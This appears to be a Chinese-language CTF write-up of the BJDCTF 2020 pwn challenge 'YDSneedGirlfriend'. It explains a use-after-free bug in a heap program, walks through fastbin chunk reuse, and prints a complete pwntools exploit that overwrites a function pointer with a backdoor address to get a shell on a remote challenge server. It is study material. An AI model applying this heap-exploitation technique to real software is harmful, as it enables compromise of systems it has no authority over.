[BJDCTF 2020]YDSneedGirlfriend
目录
[!note] 关联入口:PWN题目索引
YDSneedGirlfriend - 题目复盘
[!info] 题目信息
- 比赛:BJDCTF 2020
- 题目:YDSneedGirlfriend
- 难度:★★★☆☆
- 保护机制:全保护
- 漏洞类型:UAF
- 利用技术:堆利用
漏洞分析
本道题对于我这位初学者还是比较烧脑的。。。但我还是理解了,理解后又觉得很简单,所以还是记录一下自己是如何逐步理解和思考的。
本题通过利用 print_gerlfriend() 函数直接调用的是 **(&girlfriendlist + idx)) 而在 del_girlfriend() 函数中只是 free() 并未置空指针!
这就导致我们可以利用Use After Free 漏洞。
这题都没有修改的功能,只能想办法创造修改逻辑。如何创造呢?依靠 fast_bins
假设有这样一条链表:
chunk_struck[0x20] : chunk_B -> chunk_A -> NULL (这条是结构chunk被释放后存放的fast_bin)
我们知道 print_gerlfriend() 会调用以创建的,带有index序号的chunk(即使被free!!!),所以现在在fast_bin上有两个已经被释放的结构chunk,如果我们此时 add(0x10) ,malloc机制就会把这两个size = 0x20的chunk给我们使用,注意,此时新的结构chunk_C -> chunk_B(结构) ,而 数据chunk_C -> chunk_A(结构)
发现了吗?我们可以修改chunk_A中的函数指针了!此时改为我们的后门函数,当再次 print_gerlfriend() 时,就会触发我们的后门函数!
这一部分如果看不懂可以把后面的具体分析看完了,再回来看核心部分。这里贴一张其他师傅wp的图,做的实在太好了

解题步骤
① 静态分析
首先是对 add() 函数的深度分析,搞懂chunk的全貌
这里我画的很详细,总的来说就是创建了两个chunk,一个可以理解为结构chunk,size = 0x10,分别存 print_girlfriend_name() 函数地址,接着存入name的数据chunk地址,size可以自己制定。这里的蓝线代表,这两个chunk是紧挨着的,不过为了展示逻辑线条我画的很分开。但malloc内存管理机制上是紧挨着个(当下情况)
我们再来看看发现漏洞的地方, del_girlfriend()
事已至此,我们gdb动调一下,看看我们一开始的核心思想在heap上的表现
② 动态调试
以上截图是断在了add(chunk_A);add(chunk_B);的地方,接下里我会将两个chunk进行free,关注fast_bins的链表结构
现在,可以回顾我们一开始的核心思想了,结合放在开头的图,就能明白这道题是如何利用 Use After Free 漏洞的
③ 利用开发
from LibcSearcher import*context(arch = 'amd64', os = 'linux', log_level = 'debug')context.terminal = ['tmux','splitw','-h']#io = process('./pwn')io = remote('node4.anna.nssctf.cn',28485)s = lambda content : io.send(content)sl = lambda content : io.sendline(content)sa = lambda content,send : io.sendafter(content, send)sla = lambda content,send : io.sendlineafter(content, send)rc = lambda number : io.recv(number)ru = lambda content : io.recvuntil(content)def slog(name, address): io.success(name+"==>"+hex(address))def debug(): gdb.attach(io)def add(size,name): sla(":", '1') sla(" :", str(size)) sla(" :", name)def delete(index): sla(":", '2') sla(" :", str(index))def show(index): sla(":", '3') sla(" :", str(index))def take(index, content): sla(":\n", '4') sla("modify :", str(index)) sa("content\n", content)
backdoor = 0x400baaadd(0x10, 'aaaaaaaa') #chunk_Aadd(0x20, 'bbbbbbbb') #chunk_Bdelete(0)delete(1)
add(0x10, p64(backdoor))show(0)io.interactive()④ 最终利用

工具使用
IDA,pwngdb
关键收获
技术洞察
这是我做的第二道堆题,就目前感受来讲,要认真分析 add() 函数是如何添加堆块的,而且对于这种喜欢把函数指针放到堆块中的,也要注意 del() 函数是否置空指针, show() 函数是否直接调用该处的函数指针,这都是很危险的行为。
踩坑记录
前面没有详细讲 print_gerlfriend() 函数,这里仔细研究一下吧,算是我第一见识。
重点看(**(&girlfriendlist + idx))(*(&girlfriendlist + idx));
按照 C 语言规则:
*(&girlfriendlist + idx)解引用 →girlfriendlist[idx]→ chunk 指针**(&girlfriendlist + idx)再解引用 →(chunk)[0]→ 函数指针- 调用方式为
func(chunk)→ RDI = chunk
所以传的是“结构体自身指针”。
这里我一开始疑惑,明明name_data的指针在紧邻的下一位存放着,为什么(&girlfriendlist + idx) 后不继续 +8呢?
其实这里,逻辑写在了函数内部,去看看 print_girlfriend_name 就一目了然了

模式识别
del() 函数存在置空行为
关联题目
暂无
扩展思考
这道题比较死,也没有给 edit() 函数,无法通过堆溢出去实现修改函数指针,所以没什么其他的思路了
创建时间:2025-12-10 21:02